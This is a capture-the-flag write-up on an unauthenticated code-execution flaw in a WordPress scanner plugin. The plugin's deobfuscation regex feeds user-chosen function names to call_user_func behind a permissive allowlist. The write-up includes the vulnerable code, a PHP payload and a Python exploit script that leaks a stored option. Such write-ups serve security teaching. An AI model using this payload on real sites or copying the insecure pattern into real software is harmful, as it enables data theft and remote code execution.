Super Malware Scanner: RCE via Insecure Deobfuscation Logic
Introduction
The Super Malware Scanner plugin for WordPress claims to offer advanced malware detection and deobfuscation. However, its “advanced deobfuscation” feature relies on a complex Regular Expression (Regex) that parses and executes PHP code found in user input. This creates a Remote Code Execution (RCE) vulnerability, allowing unauthenticated attackers to execute arbitrary functions present in a permissive allowlist.
Vulnerability Analysis
The vulnerability resides in the deobfuscateCode method, which is accessible via an unauthenticated REST API endpoint (/wp-json/sms/v1/scan).
Step 1: The Dangerous Regex
The plugin attempts to identify and “deobfuscate” code matching a specific pattern (likely simulating a common malware obfuscation technique involving base64_decode, gzinflate, and character shifting).
$pattern = '~function\s+(\w+)\s*\(\s*(\$\w+)\s*\)\s*{\'.
// ... (matching obfuscation logic) ...
'\s*(?:eval\s*\(|\s*(\$\w+)\s*=\s*)' .
'\s*\1\s*\(\s*((?:\(\s*\w+)*)\s*\(\s*["\']([^"\']+)["\']\s*\)\s*\)+\s*;~msi';This regex is designed to capture:
- A function definition.
- A call to that function at the end.
- Crucially: A “chain” of nested function calls passed as arguments (
$matches[7]) and a payload string ($matches[8]).
Step 2: Insecure Execution
When a match is found, the processDeltaOrd method is called:
private function processDeltaOrd($code, $matches) {
// ...
if (!empty($matches[7])) {
$function_chain = explode('(', $matches[7]);
$functions = array_reverse(array_filter($function_chain));
$data = $payload; // $matches[8]
foreach ($functions as $func) {
$func = trim($func);
if ($this->isFunc($func)) {
$data = call_user_func($func, $data);
}
// ...
}
// ...
return $data;
}
// ...
}This code iterates through the captured function names and executes them using call_user_func on the payload data, provided the function name is in the isFunc allowlist.
Step 3: Permissive Allowlist
The isFunc method checks the function name against a list of “safe” functions.
private function isFunc($func) {
$safeFuncs = array(
// ...
'base64_decode',
// ...
'get_option', // <--- VULNERABLE
// ...
);
return in_array(strtolower($func), $safeFuncs);
}The list includes get_option, a WordPress function that retrieves database options. Since the challenge stores the flag in the flag option (as seen in the Makefile), an attacker can simply call get_option('flag') to retrieve it.
Exploit
To exploit this, we construct a PHP code snippet that strictly matches the regex but chains the get_option function.
The required structure is:
- A dummy function definition matching the deobfuscation logic (we can just copy the logic expected by the regex).
- A call to this function passing
get_option('flag')in the specific nested format expected by the regex:((get_option('flag'))).
Exploit Payload
function x($y){
$y=gzinflate(base64_decode($y));
for($i=0;$i<strlen($y);$i++){
$y[$i]=chr(ord($y[$i])+0);
}
return $y;
}
$z=x((get_option('flag')));This payload satisfies the regex. The capture groups become:
$matches[7](Function Chain):(get_option$matches[8](Payload):flag
The processDeltaOrd function parses $matches[7], extracts get_option, validates it against the allowlist, and executes get_option('flag'). The result is then printed via print_r, leaking the flag in the API response.
Exploit Script
import requests
import base64
import sys
# Configuration
BASE_URL = "http://localhost:9155"
API_URL = f"{BASE_URL}/wp-json/sms/v1/scan"
def exploit():
# Construct the payload
# The payload must match the regex in deobfuscateCode
# We use 'get_option' which is in the allowlist to retrieve the 'flag' option
# Note: The regex requires specific structure for the function call chain:
# x((get_option('flag')))
# Group 7 captures (get_option
# Group 8 captures flag
malicious_code = (
"function x($y){" \
"$y=gzinflate(base64_decode($y));" \
"for($i=0;$i<strlen($y);$i++){" \
"$y[$i]=chr(ord($y[$i])+0);" \
"}" \
"return $y;" \
"}" \
"$z=x((get_option('flag')));"
)
print(f"[*] Malicious Code:\n{malicious_code}")
# Base64 encode the payload (required by scanCode)
encoded_payload = base64.b64encode(malicious_code.encode()).decode()
params = {
"payload": encoded_payload,
"deobfuscate": "1" # Must be true to trigger deobfuscateCode
}
print(f"[*] Sending request to {API_URL}...")
try:
response = requests.get(API_URL, params=params)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Body:\n{response.text}")
if response.status_code == 200:
# The flag might be in the output of print_r (which might be prepended to JSON)
# or implicitly returned if print_r is captured?
# In WordPress REST API, outputting directly might break JSON syntax,
# but we can see the raw text.
if "CTF{" in response.text:
print("\n[+] FOUND FLAG!")
# Extract flag
import re
flag_match = re.search(r'CTF{[^}]+}', response.text)
if flag_match:
print(f"[+] Flag: {flag_match.group(0)}")
else:
print("[-] Flag not found in response.")
else:
print("[-] Request failed.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()